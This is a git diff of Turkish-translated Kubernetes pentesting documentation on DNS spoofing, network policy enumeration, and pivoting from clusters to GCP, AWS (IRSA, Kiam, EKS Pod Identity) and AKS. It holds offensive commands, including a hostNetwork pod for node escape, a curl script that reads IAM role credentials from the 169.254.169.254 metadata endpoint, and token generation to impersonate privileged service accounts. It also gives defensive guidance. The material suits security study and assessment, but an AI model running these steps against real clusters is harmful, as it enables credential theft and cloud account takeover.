**download** edin ve **spoof** etmek istediğiniz **domains** ile `hosts` adında bir **file** oluşturun: ``` cat hosts google.com. 1.1.1.1 @@ -263,47 +279,47 @@ dig google.com google.com. 1 IN A 1.1.1.1 ``` > [!NOTE] -> Kendi DNS spoofing script’inizi oluşturmaya çalışırsanız, eğer **sadece DNS response**’unu değiştirirseniz bu **çalışmayacaktır**, çünkü **response** içinde **src IP** olarak **malicious** **pod**’un IP adresi olacaktır ve bu **kabul edilmeyecektir**.\ -> Kurbanın DNS request gönderdiği **DNS**’in **src IP**’si ile yeni bir **DNS packet** üretmeniz gerekir (bu genellikle 172.16.0.2 gibi bir şeydir, 10.96.0.10 değil; bu K8s DNS service IP’sidir ve DNS server ip değildir, bunun hakkında giriş bölümünde daha fazla bilgi var). +> Kendi DNS spoofing scriptinizi oluşturmaya çalışırsanız, eğer **sadece DNS response**’unu değiştirirseniz bu **çalışmayacak**, çünkü **response** **src IP** olarak **malicious** **pod**’un IP address’ine sahip olacak ve **kabul edilmeyecek**.\ +> **src IP**’si kurbanın DNS request gönderdiği **DNS**’in olduğu bir **yeni DNS packet** oluşturmanız gerekiyor (bu, 172.16.0.2 gibi bir şeydir, 10.96.0.10 değil; bu K8s DNS service IP’sidir ve DNS server ip’si değildir, bunun hakkında giriş bölümünde daha fazla bilgi var). -## coreDNS configmap ile DNS Spoofing +## coreDNS configmap üzerinden DNS Spoofing -`kube-system` namespace’indeki `coredns` configmap’i üzerinde yazma yetkisi olan bir kullanıcı, cluster’ın DNS responses’larını değiştirebilir. +`kube-system` namespace’indeki `coredns` configmap’i üzerinde write permissions sahibi olan bir user, cluster’ın DNS responses’larını modify edebilir. -Ayrıca, deployed ise NodeLocal DNSCache’i de inceleyin. Genellikle hostNetwork DaemonSet olarak çalışır ve kendi ConfigMap’i, logs, cache’i ve forwarding path’i vardır. Bir CoreDNS değişikliği DNS davranışının etkilenebileceği veya gözlemlenebileceği tek yer olmayabilir. +Ayrıca, deployed ise NodeLocal DNSCache’i de review edin. Genellikle hostNetwork DaemonSet olarak çalışır ve kendi ConfigMap’i, logs’u, cache’i ve forwarding path’i vardır. Bir CoreDNS change’i DNS behavior’ının etkilenebileceği veya gözlemlenebileceği tek yer olmayabilir. -Bu attack hakkında daha fazla bilgiyi burada kontrol edin: +Bu attack hakkında daha fazla bilgi için şuraya bakın: {{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}} -## Açıkta olan kubernetes management services’lerini kötüye kullanma +## Exposed kubernetes management services’leri abuse etmek -Apache NiFi, Kubeflow, Argo Workflows, Weave Scope ve Kubernetes dashboard gibi Services’ler çoğu zaman ya internet’e ya da kubernetes network’üne açık olur. **Kubernetes’i yönetmek için kullanılan herhangi bir platformu bulmayı ve ona erişmeyi başarabilen** bir attacker, bunu kubernetes API’ye erişmek ve yeni pods oluşturmak, mevcut olanları değiştirmek veya hatta onları silmek gibi işlemler yapmak için kötüye kullanabilir. +Apache NiFi, Kubeflow, Argo Workflows, Weave Scope ve Kubernetes dashboard gibi Services çoğu zaman ya internete ya da kubernetes network’üne exposed edilir. **Kubernetes’i manage etmek için kullanılan herhangi bir platformu bulmayı ve ona access etmeyi başaran** bir attacker, bunu abuse ederek kubernetes API’ye access elde edebilir ve yeni pods oluşturmak, mevcut olanları modify etmek veya hatta onları delete etmek gibi actions gerçekleştirebilir. -## kubernetes network policies’lerini enumerate etme +## kubernetes network policies’yi enumerate etmek -Yapılandırılmış **networkpolicies**’leri alın: +Configüre edilmiş **networkpolicies**’leri alın: ```bash kubectl get networkpolicies --all-namespaces ``` -Callico network policy’lerini al: +Get **Callico** network policies: ```bash kubectl get globalnetworkpolicy --all-namespaces ``` -**Cillium** network policy'lerini al: +**Cillium** network policies: ```bash kubectl get ciliumnetworkpolicy --all-namespaces ``` -Ağ eklentiniz veya security solution’ınız tarafından yüklenen diğer policy-related CRD’leri alın: +Ağ eklentiniz veya security solution'ınız tarafından kurulmuş diğer policy-related CRD'leri alın: ```bash kubectl get crd | grep -i policy ``` -## Trafiği Yakalama +## Trafik Yakalama -[**Mizu**](https://github.com/up9inc/mizu) aracı, Kubernetes için basit ama güçlü bir API **traffic viewer**'dır; microservices arasındaki tüm API communication'ı **görmenizi** sağlayarak debug ve regression sorunlarını gidermenize yardımcı olur.\ -Seçilen pods içine agents kurar ve traffic bilgilerini toplar, ardından bunları bir web server üzerinde gösterir. Ancak bunun için yüksek K8s permissions gerekir (ve pek stealthy değildir). +[**Mizu**](https://github.com/up9inc/mizu) aracı, **Kubernetes için** basit ama güçlü bir API **traffic viewer**'dır ve **microservices** arasındaki tüm API iletişimini **görmenizi** sağlayarak debug ve regression sorunlarını gidermenize yardımcı olur.\ +Seçilen pods içine agent'ler kurar, onların trafik bilgilerini toplar ve bunları bir web server'da gösterir. Ancak bunun için yüksek K8s permissions gerekir (ve pek stealthy değildir). ## References diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md index e2bf299fa..8e373c6dd 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md @@ -4,62 +4,62 @@ ## GCP -Eğer GCP içinde bir k8s cluster çalıştırıyorsanız, cluster içindeki bir uygulamanın GCP’ye bir miktar erişimi olmasını isteyebilirsiniz. Bunu yapmanın 2 yaygın yolu vardır: +Eğer GCP içinde bir k8s cluster çalıştırıyorsanız, cluster içindeki bazı application’ların GCP’ye erişimi olmasını isteyebilirsiniz. Bunu yapmanın 2 yaygın yolu vardır: -### Mounting GCP-SA keys as secret +### GCP-SA keys’i secret olarak mount etmek -**GCP’ye bir kubernetes application için access** vermenin yaygın bir yolu şudur: +**Bir kubernetes application’a GCP erişimi** vermenin yaygın bir yolu şudur: - Bir GCP Service Account oluşturun -- Gerekli permissions’ları ona bind edin +- İstenen permissions’ları ona bağlayın - Oluşturulan SA’nın bir json key’ini indirin - Bunu pod içinde bir secret olarak mount edin -- GOOGLE_APPLICATION_CREDENTIALS environment variable’ını json’un bulunduğu path’e işaret edecek şekilde ayarlayın +- GOOGLE_APPLICATION_CREDENTIALS environment variable’ını json’un bulunduğu path’i gösterecek şekilde ayarlayın > [!WARNING] -> Bu nedenle, bir **attacker** olarak bir pod içindeki container’ı compromise ederseniz, bu **env** **variable** ve GCP credentials içeren **json** **files** için kontrol etmelisiniz. +> Bu nedenle, bir **attacker** olarak, bir pod içindeki container’ı compromise ederseniz, bu **env** **variable** ve GCP credentials içeren **json** **files** için kontrol etmelisiniz. -### Relating GSA json to KSA secret +### GSA json’u KSA secret ile ilişkilendirmek -Bir GKE cluser’a bir GSA için access vermenin bir yolu, onları şu şekilde bind etmektir: +Bir GSA’ya GKE cluster içinde erişim vermenin bir yolu, onları şu şekilde binding yapmaktır: -- Aşağıdaki komutu kullanarak GKE cluster’ınızla aynı namespace içinde bir Kubernetes service account oluşturun: +- Aşağıdaki command’i kullanarak GKE cluster’ınızla aynı namespace içinde bir Kubernetes service account oluşturun: ```bash kubectl create serviceaccount ``` -- GKE kümesine erişim vermek istediğiniz GCP service account kimlik bilgilerini içeren bir Kubernetes Secret oluşturun. Bunu, aşağıdaki örnekte gösterildiği gibi `gcloud` komut satırı aracıyla yapabilirsiniz: +- GKE cluster'a access vermek istediğiniz GCP service account kimlik bilgilerini içeren bir Kubernetes Secret oluşturun. Bunu, aşağıdaki örnekte gösterildiği gibi `gcloud` command-line tool kullanarak yapabilirsiniz: ```bash gcloud iam service-accounts keys create .json \ --iam-account kubectl create secret generic \ --from-file=key.json=.json ``` -- Aşağıdaki komutu kullanarak Kubernetes Secret'i Kubernetes service account'a bağlayın: +- Aşağıdaki komutu kullanarak Kubernetes Secret’ını Kubernetes service account’a bağlayın: ```bash kubectl annotate serviceaccount \ iam.gke.io/gcp-service-account= ``` > [!WARNING] -> **İkinci adımda** **GSA’nın credentials’ları KSA’nın secret’ı olarak** ayarlandı. O zaman, **GKE** cluster’ı **içinden** bu **secret’ı okuyabiliyorsan**, o **GCP service account**’a **escalate** edebilirsin. +> **İkinci adımda** **GSA’nın credentials’ı KSA’nın secret’ı** olarak ayarlandı. O halde, **GKE** cluster’ının **içinden** bu **secret**’ı **okuyabilirsen**, o **GCP service account**’a **escalate** edebilirsin. ### GKE Workload Identity Workload Identity ile, bir[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)’u bir[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts) gibi davranacak şekilde configure edebiliriz. Kubernetes service account ile çalışan Pods, Google Cloud APIs’lerine erişirken otomatik olarak Google service account olarak authenticate olur. -Bu davranışı enable etmek için **ilk adım serisi**, **GCP’de Workload Identity’yi enable etmek** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) ve k8s’nin impersonate etmesini istediğin GCP SA’yı oluşturmaktır. +Bu davranışı enable etmek için **ilk adım serisi**, GCP’de **Workload Identity’yi enable etmek**tir ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) ve k8s’in impersonate etmesini istediğin GCP SA’yı oluşturmaktır. -- Yeni bir cluster üzerinde **Enable Workload Identity** +- Yeni bir cluster’da **Workload Identity’yi enable et** ```bash gcloud container clusters update \ --region=us-central1 \ --workload-pool=.svc.id.goog ``` -- **Yeni bir nodepool oluştur/Güncelle** (Autopilot cluster'larının buna ihtiyacı yok) +- **Yeni bir nodepool oluştur/Güncelle** (Autopilot cluster'lar buna ihtiyaç duymaz) ```bash # You could update instead of create gcloud container node-pools create --cluster= --workload-metadata=GKE_METADATA --region=us-central1 ``` -- GCP izinleri olan K8s içinden **taklit edilecek GCP Service Account** oluşturun: +- K8s içinden GCP permissions ile **GCP Service Account to impersonate** oluşturun: ```bash # Create SA called "gsa2ksa" gcloud iam service-accounts create gsa2ksa --project= @@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding \ --member "serviceAccount:gsa2ksa@.iam.gserviceaccount.com" \ --role "roles/iam.securityReviewer" ``` -- **Cluster**a **bağlan** ve kullanılacak **service account**u **oluştur** +- **cluster** ile **bağlanın** ve kullanılacak **service account**'u **oluşturun** ```bash # Get k8s creds gcloud container clusters get-credentials --region=us-central1 @@ -80,7 +80,7 @@ kubectl create namespace testing # Create the KSA kubectl create serviceaccount ksa2gcp -n testing ``` -- **GSA ile KSA’yı bağla** +- **GSA ile KSA’yı bind et** ```bash # Allow the KSA to access the GSA in GCP IAM gcloud iam service-accounts add-iam-policy-binding gsa2ksa@ [!WARNING] -> K8s içinde bir saldırgan olarak **SAs** için **`iam.gke.io/gcp-service-account` annotation** ile **arama yapmalısınız**, çünkü bu SA'nın GCP içinde bir şeye erişebildiğini gösterir. Bir başka seçenek de cluster içindeki her KSA’yı kötüye kullanmayı denemek ve erişimi olup olmadığını kontrol etmektir.\ -> GCP tarafında binding’leri enumerate etmek ve **Kubernetes içindeki SAs’e hangi access verildiğini** bilmek her zaman ilginçtir. +> K8s içinde bir attacker olarak, **`iam.gke.io/gcp-service-account` annotation**’ına sahip **SAs** aramalısınız; çünkü bu, SA’nın GCP içinde bir şeye erişebildiğini gösterir. Başka bir seçenek de cluster içindeki her KSA’yı abuse etmeye çalışıp erişimi olup olmadığını kontrol etmektir.\ +> GCP tarafında, bindings’i enumerate etmek ve Kubernetes içindeki SAs’e **hangi access** verdiğinizi bilmek her zaman ilginçtir. -Bu, tüm **pod** tanımlarını **kolayca taramak** ve o **annotation** için **bakmak** amacıyla kullanılan bir script’tir: +Bu, tüm pod definitions üzerinde kolayca **iterate** edip bu **annotation**’ı **looking** için bir script: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account" ### Kiam & Kube2IAM (Pods için IAM role) -Pods'a IAM Role vermenin (eski) bir yolu, bir [**Kiam**](https://github.com/uswitch/kiam) veya [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** kullanmaktır. Temelde, cluster'ınızda **kind of privileged IAM role** ile bir **daemonset** çalıştırmanız gerekir. Bu daemonset, buna ihtiyaç duyan pods'a IAM roles erişimi verecek olan şeydir. +Pods’e IAM Roles vermenin (güncel olmayan) bir yolu, bir [**Kiam**](https://github.com/uswitch/kiam) veya bir [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** kullanmaktır. Temel olarak, cluster’ınızda **kind of privileged IAM role** ile bir **daemonset** çalıştırmanız gerekir. Bu daemonset, buna ihtiyaç duyan pod’lara IAM roles erişimi veren bileşen olacaktır. -İlk olarak, **namespace** içinde hangi roles erişilebileceğini yapılandırmanız gerekir ve bunu namespace object içinde bir annotation ile yaparsınız: +Öncelikle, **namespace içinde hangi roles erişilebileceğini** yapılandırmanız gerekir ve bunu namespace object içindeki bir annotation ile yaparsınız: ```yaml:Kiam kind: Namespace metadata: @@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: | ["role-arn"] name: default ``` -Namespace IAM rollerinin Pod’lara sahip olabilmesi için yapılandırıldıktan sonra, her pod tanımında istediğiniz role’u **şuna benzer bir şeyle belirtebilirsiniz**: +Namespace IAM roller ile yapılandırıldıktan sonra, Pods'ların sahip olabileceği rolleri her pod tanımında **şuna benzer bir şeyle istediğin rolü belirtebilirsin**: ```yaml:Kiam & Kube2iam kind: Pod metadata: @@ -171,12 +171,12 @@ annotations: iam.amazonaws.com/role: reportingdb-reader ``` > [!WARNING] -> Bir attacker olarak, eğer pod'larda veya namespace'lerde ya da çalışan bir kiam/kube2iam server'ında (muhtemelen kube-system içinde) bu annotations'ları **bulursanız**, pod'lar tarafından zaten **kullanılan** her r**ole** ve daha fazlasına **impersonate** edebilirsiniz (AWS account'a erişiminiz varsa role'ları enumerate edin). +> Bir attacker olarak, pod'larda veya namespace'lerde ya da çalışan bir kiam/kube2iam server'da (muhtemelen kube-system içinde) bu annotations'ları **bulursanız**, pod'lar tarafından zaten **kullanılan** her r**ole** ve daha fazlasını **impersonate** edebilirsiniz (AWS account'a erişiminiz varsa role'ları enumerate edin). #### IAM Role ile Pod Oluşturma > [!NOTE] -> Belirtilmesi gereken IAM role, kiam/kube2iam role ile aynı AWS account içinde olmalı ve bu role ona erişebilmeli. +> Belirtilecek IAM role, kiam/kube2iam role ile aynı AWS account içinde olmalı ve bu role ona erişebilmelidir. ```yaml echo 'apiVersion: v1 kind: Pod @@ -192,14 +192,14 @@ image: alpine command: ["/bin/sh"] args: ["-c", "sleep 100000"]' | kubectl apply -f - ``` -### OIDC ile K8s Service Accounts için IAM Role +### OIDC aracılığıyla K8s Service Accounts için IAM Role Bu, **AWS tarafından önerilen yöntemdir**. -1. İlk olarak cluster için bir [OIDC provider oluşturmanız](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html) gerekir. -2. Ardından SA’nın ihtiyaç duyacağı permissions ile bir IAM role oluşturursunuz. -3. IAM role ile SA adı arasında bir [trust relationship oluşturun](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (veya role erişim veren namespace’leri, namespace içindeki tüm SA’lar için). _Trust relationship esas olarak OIDC provider adını, namespace adını ve SA adını kontrol eder_. -4. Son olarak, **role ARN’sini belirten bir annotation ile bir SA oluşturun** ve o SA ile çalışan pod’lar **role token’ına erişebilir**. **Token**, bir dosyanın içine **yazılır** ve path **`AWS_WEB_IDENTITY_TOKEN_FILE`** içinde belirtilir (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) +1. İlk olarak [cluster için bir OIDC provider oluşturmanız](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html) gerekir. +2. Sonra SA'nın gerektireceği permissions ile bir IAM role oluşturursunuz. +3. IAM role ile SA adı arasında (veya namespace içindeki tüm SA'lara role erişimi veren namespace'ler arasında) bir [trust relationship oluşturun](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html). _Trust relationship esas olarak OIDC provider adını, namespace adını ve SA adını kontrol edecektir_. +4. Son olarak, **role ARN'sini belirten bir annotation ile bir SA oluşturun**, ve o SA ile çalışan pod'lar **role token'ına erişim** sahibi olacaktır. **Token**, bir dosya içine **yazılır** ve path **`AWS_WEB_IDENTITY_TOKEN_FILE`** içinde belirtilir (varsayılan: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) ```bash # Create a service account with a role cat >my-service-account.yaml < [!WARNING] -> Bir attacker olarak, bir K8s cluster’ını enumerate edebiliyorsan, **AWS’ye escalate etmek** için **bu annotation’a sahip service accounts**’ları kontrol et. Bunu yapmak için, IAM **privileged service accounts**’lardan birini kullanarak bir **pod** **exec/create** et ve token’ı çal. +> Bir saldırgan olarak, bir K8s cluster'ını enumerate edebiliyorsan, **AWS'ye escalate etmek** için **o annotation'a sahip service accounts** kontrol et. Bunu yapmak için, IAM **privileged service accounts**'lardan birini kullanarak bir **pod** içinde **exec/create** yap ve token'ı çal. > -> Ayrıca, bir pod içindeysen, **AWS_ROLE_ARN** ve **AWS_WEB_IDENTITY_TOKEN** gibi env variables’ları kontrol et. +> Ayrıca, bir pod içindeysen, **AWS_ROLE_ARN** ve **AWS_WEB_IDENTITY_TOKEN** gibi env variables'ları kontrol et. > [!CAUTION] -> Bazen bir role’un **Turst Policy**’si **kötü configure edilmiş** olabilir ve beklenen service account’a AssumeRole access vermek yerine, bunu **tüm service accounts**’lara verir. Bu nedenle, kontrollü bir service account üzerinde bir annotation yazabiliyorsan, role’a access edebilirsin. +> Bazen bir role'un **Turst Policy**'si **kötü yapılandırılmış** olabilir ve beklenen service account'a AssumeRole access vermek yerine bunu **tüm service accounts**'lara verir. Bu nedenle, kontrol edilen bir service account üzerinde bir annotation yazabiliyorsan, role'a access edebilirsin. > -> Daha fazla bilgi için **following page**’i kontrol et: +> **Daha fazla bilgi için following page'i kontrol et:** {{#ref}} ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} -### Cluster’da IAM Roles’a sahip Pod’ları ve SAs’ları bul +### EKS Pod Identity -Bu, bu **annotation**’ı **looking** ederek tüm pod’lar ve sas definition’ları üzerinde kolayca **iterate over** etmek için bir script’tir: +EKS Pod Identity, her workload'un IRSA web identity token ile STS çağırmasına güvenmeden bir IAM role'unu bir Kubernetes service account ile ilişkilendirmenin AWS-managed daha yeni yoludur. Cluster, node'larda EKS Pod Identity Agent çalıştırır, EKS API pod identity associations'ları saklar ve seçili pod'lardaki AWS SDK'ler, agent tarafından sunulan container credentials provider path üzerinden credentials elde eder. + +Kubernetes açısından, ilginç evidence hala service account ve pod ilişkisidir, ancak runtime signals IRSA'dan farklıdır. Sadece `AWS_WEB_IDENTITY_TOKEN_FILE` yerine pod'larda AWS container credential env variables'larını ara: +```bash +kubectl get pods -A -o yaml | grep -nE 'AWS_CONTAINER_CREDENTIALS|AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE|AWS_ROLE_ARN|AWS_WEB_IDENTITY_TOKEN_FILE' +kubectl get serviceaccounts -A -o yaml | grep -nE 'eks.amazonaws.com|role-arn' +kubectl get ds -A | grep -i 'pod.identity\|eks-pod-identity' +``` +AWS’den, associations’u enumerate edin ve ardından bunları Kubernetes namespaces ve service accounts ile eşleştirin: +```bash +aws eks list-pod-identity-associations --cluster-name +aws eks describe-pod-identity-association \ +--cluster-name \ +--association-id +``` +İlişkili bir pod içinde, ana runtime göstergeleri EKS tarafından enjekte edilen container credentials provider değişkenleridir: +```bash +env | grep -E '^AWS_CONTAINER_(CREDENTIALS_FULL_URI|AUTHORIZATION_TOKEN_FILE)=' +ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/ 2>/dev/null +aws sts get-caller-identity +``` +Yerel credential endpoint genellikle `http://169.254.170.23/v1/credentials` olur ve authorization token, `pods.eks.amazonaws.com` audience için projected bir service account token’dır. AWS SDK credential-provider sırasının hâlâ geçerli olduğunu unutmayın: eğer static environment credentials veya shared credential files chain’de daha önce yapılandırılmışsa, pod Pod Identity association yerine bunları kullanabilir. + +Pod Identity role’ları normalde `sts:AssumeRole` ve `sts:TagSession` için `pods.eks.amazonaws.com` service principal’ına trust eder. `kubernetes-namespace`, `kubernetes-service-account` ve cluster tag’leri gibi request tag’lerdeki trust-policy conditions’ı gözden geçirin, çünkü geniş conditions yeniden kullanılabilir bir role’u çok fazla service account için erişilebilir hale getirebilir. Pod Identity ayrıca temporary credentials’a session tags ekler ve bu tags, `${aws:PrincipalTag/kubernetes-namespace}` veya `${aws:PrincipalTag/kubernetes-service-account}` gibi resource access’e dayalı ABAC policies’i yönlendirebilir. + +Cross-account access için bir Pod Identity association, hedef account’taki bir target role’a chain eden aynı account içi bir role kullanabilir. Bu durumda her iki katmanı da inceleyin: EKS association role ve target role trust/policy. Pod Identity session tags role chain boyunca transitive’dir, bu yüzden hangi cluster namespace ve service account’un remote account’a eriştiğini kanıtlamak için yararlı kanıtlardır. + +> [!WARNING] +> Eğer EKS Pod Identity association’a sahip bir service account kullanan pod’lar oluşturabiliyor veya değiştirebiliyorsanız, o pod’un yararlı AWS permissions alıp almadığını test edin. Savunma yapıyorsanız, yeni pod identity association’lar, beklenmeyen service account kullanımı ve yalnızca belirli workloads tarafından kullanılması gereken role’lardan gelen AWS API calls için alert üretin. + +### EKS governance guardrails + +EKS’i AWS tarafından incelerken, IAM ve AWS Organizations guardrails’ın, bir principal geniş görünen EKS permissions’a sahip olsa bile güvensiz cluster yapılandırmasını engelleyebileceğini unutmayın. Son EKS condition keys, public veya private endpoint access, Kubernetes version, secrets-encryption KMS keys, deletion protection, control-plane scaling tier ve zonal shift configuration gibi cluster ayarlarını kapsar. Bu keys, account genelinde cluster baselines uygulamak için IAM policies veya Service Control Policies içinde kullanılabilir. + +Bu, hem attack impact hem de triage için önemlidir. Bir principal `eks:UpdateClusterConfig` çağırabiliyor ama bir SCP `eks:endpointPublicAccess` üzerinden public endpoint etkinleştirilmesini engelliyorsa, public API exposure olduğunu iddia etmek yerine denenen riskli action’ı ve onu engelleyen guardrail’ı rapor edin. Savunucular için, başarılı değişikliklerin yanı sıra reddedilen EKS configuration değişiklikleri için de alert üretin; çünkü reddedilen denemeler compromised automation, eski admin role’lar veya daha az korunan bir account’a pivot öncesi reconnaissance’u ortaya çıkarabilir. + +Yararlı referanslar: + +- [Amazon EKS IAM condition keys](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonelastickubernetesservice.html) +- [AWS Organizations service control policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html) + +### Cluster içinde IAM Roles ile Pod’ları ve SAs’i Bul + +Bu, tüm pod’lar ve sa’ler üzerinde kolayca **iterate etmek** ve şu **annotation** için **bakmak** amacıyla kullanılan bir script’tir: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -255,26 +298,26 @@ done | grep -B 1 "amazonaws.com" ``` ### Node IAM Role to cluster-admin -Önceki bölüm, pod'larla IAM Roles nasıl çalınır hakkındaydı; ancak unutmayın ki K8s cluster’ındaki bir **Node**, cloud içinde bir **instance** olacaktır. Bu da Node’un büyük ihtimalle **çalabileceğiniz bir IAM role** sahip olacağı anlamına gelir (_not: genelde bir K8s cluster’ındaki tüm node’lar aynı IAM role sahip olur, bu yüzden her node’u tek tek kontrol etmeye çalışmak buna değmeyebilir_). +Önceki bölüm, pods ile IAM Roles nasıl çalınacağından bahsediyordu; ancak bir **K8s cluster’ındaki Node’un** bir **cloud içindeki instance** olacağını unutmayın. Bu da Node’un büyük olasılıkla **çalabileceğiniz bir IAM role** sahip olacağı anlamına gelir (_not: genellikle bir K8s cluster’ındaki tüm node’lar aynı IAM role’a sahip olur, bu yüzden her node’u tek tek kontrol etmeye çalışmak buna değmeyebilir_). -Node metadata endpoint’ine erişmek için şunlardan biri gerekir: -- Bir pod içinde olmak ve metadata endpoint’in en az 2 tcp hop olacak şekilde yapılandırılmış olması. Bu, en yaygın yanlış yapılandırmadır; çünkü genellikle cluster’daki farklı pod’ların metadata endpoint’ine erişmesi gerekir, aksi halde bozulurlar ve birçok şirket, cluster’daki tüm pod’lara metadata endpoint erişimine izin vermeyi tercih eder. +Node metadata endpoint’ine erişmek için şunlar gerekir: +- Bir pod içinde olmak ve metadata endpoint’in en az 2 tcp hop olacak şekilde yapılandırılmış olması. Bu en yaygın yanlış yapılandırmadır; çünkü genellikle cluster’daki farklı pod’lar bozulmamak için metadata endpoint’e erişim gerektirir ve birçok şirket metadata endpoint erişimine cluster’daki tüm pod’lardan izin vermeyi seçer. - `hostNetwork` etkin bir pod içinde olmak. -- Node’a escape etmek ve metadata endpoint’ine doğrudan erişmek. +- Node’a escape edip metadata endpoint’e doğrudan erişmek. -(metadata endpoint her zaman olduğu gibi 169.254.169.254 adresindedir). +(Bu metadata endpoint’in her zamanki gibi 169.254.169.254 adresinde olduğunu unutmayın). -Daha yeni EKS ortamlarında, pod’ların node instance profile’a ulaşabildiğini varsaymadan önce node ve cluster mode’u doğrulayın. Amazon Linux 2023 EKS optimized AMIs, IMDS hop limit’i varsayılan olarak 1’e ayarlar ve EKS Auto Mode varsayılan olarak `disablePodIMDS`’yi etkinleştirir; bu yüzden operator bu ayarları değiştirmediyse veya pod’un `hostNetwork` ya da node compromise gibi başka bir node-level yolu yoksa, sıradan pod’lar node-role credentials almamalıdır. Önerilen yaklaşım, pod erişimini node IMDS’ye engellemek ve workload AWS permissions için IRSA veya EKS Pod Identity kullanmaktır. +Daha yeni EKS ortamlarında, pod’ların node instance profile’a ulaşabildiğini varsaymadan önce node ve cluster mode’u doğrulayın. Amazon Linux 2023 EKS optimized AMIs, IMDS hop limit’i varsayılan olarak 1’e ayarlar ve EKS Auto Mode, `disablePodIMDS` ayarını varsayılan olarak etkinleştirir; bu nedenle operatör bu ayarları değiştirmediyse veya pod’un `hostNetwork` ya da node compromise gibi başka bir node-level yolu yoksa, normal pod’lar node-role credentials almamalıdır. Önerilen yöntem, pod erişimini node IMDS’ye kapatmak ve workload AWS permissions için IRSA veya EKS Pod Identity kullanmaktır. -Node’a **escape etmek** için, `hostNetwork` etkin bir pod çalıştırmak üzere aşağıdaki komutu kullanabilirsiniz: +Node’a **escape etmek** için `hostNetwork` etkin bir pod çalıştırmak üzere aşağıdaki komutu kullanabilirsiniz: ```bash kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}' ``` -### IAM Role Token Çalma +### IAM Role Token’ını Çal -Daha önce **IAM Roles’u Pods’a bağlamayı** ve hatta instance’ın bağlı olduğu **IAM Role’u çalmak için Node’a kaçmayı** tartıştık. +Daha önce **IAM Roles’ları Pods’a eklemeyi** veya hatta **Node’a kaçıp** instance’ın kendisine eklenmiş **IAM Role**’unu çalmayı tartışmıştık. -Yeni, zahmetle elde ettiğiniz **IAM role credentials**’ınızı **çalmak** için aşağıdaki script’i kullanabilirsiniz: +Yeni, emekle elde ettiğin **IAM role credentials**’ını **çalmak** için aşağıdaki script’i kullanabilirsin: ```bash IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null) if [ "$IAM_ROLE_NAME" ]; then @@ -287,11 +330,11 @@ fi ``` ### Privesc to cluster-admin -Özetle: bir pod içinden **EKS Node IAM role**’e erişmek mümkünse, **tüm kubernetes cluster**’ı compromise etmek mümkündür. +Özetle: bir pod içinden **EKS Node IAM role** erişmek mümkünse, **tüm kubernetes cluster** ele geçirilebilir. -Daha fazla bilgi için [bu yazıya](https://blog.calif.io/p/privilege-escalation-in-eks) bakın. Özet olarak, EKS node’larına varsayılan olarak atanan default IAM EKS role, cluster içinde `system:node` rolü olarak atanır. Bu rol çok ilginçtir, ancak kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) ile sınırlıdır. +Daha fazla bilgi için [bu gönderiye](https://blog.calif.io/p/privilege-escalation-in-eks) bakın. Özet olarak, EKS node’larına varsayılan olarak atanan default IAM EKS role, cluster içinde `system:node` role’ü olarak atanır. Bu role çok ilginçtir, ancak kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) ile sınırlandırılmıştır. -Bununla birlikte, node her zaman node içindeki pod’larda çalışan service account’lar için token generate edebilir. Yani, node privileged bir service account ile çalışan bir pod çalıştırıyorsa, node bu service account için bir token generate edebilir ve onu service account’u impersonate etmek için şu şekilde kullanabilir: +Bununla birlikte, node her zaman node içindeki pod’larda çalışan service accounts için token üretebilir. Bu yüzden, node privileged bir service account ile çalışan bir pod barındırıyorsa, node bu service account için bir token üretebilir ve onu şunun gibi service account’u impersonate etmek için kullanabilir: ```bash kubectl --context=node1 create token -n ns1 sa-priv \ --bound-object-kind=Pod \ @@ -300,10 +343,10 @@ kubectl --context=node1 create token -n ns1 sa-priv \ ``` ## Azure / AKS -AKS içinde, değerlendirme sırasında üç kimlik yolunu ayrı tutun: +AKS’te, assessment sırasında üç identity path’i ayrı tutun: -- **Azure to Kubernetes**: Azure principals, Azure RBAC role buna izin veriyorsa 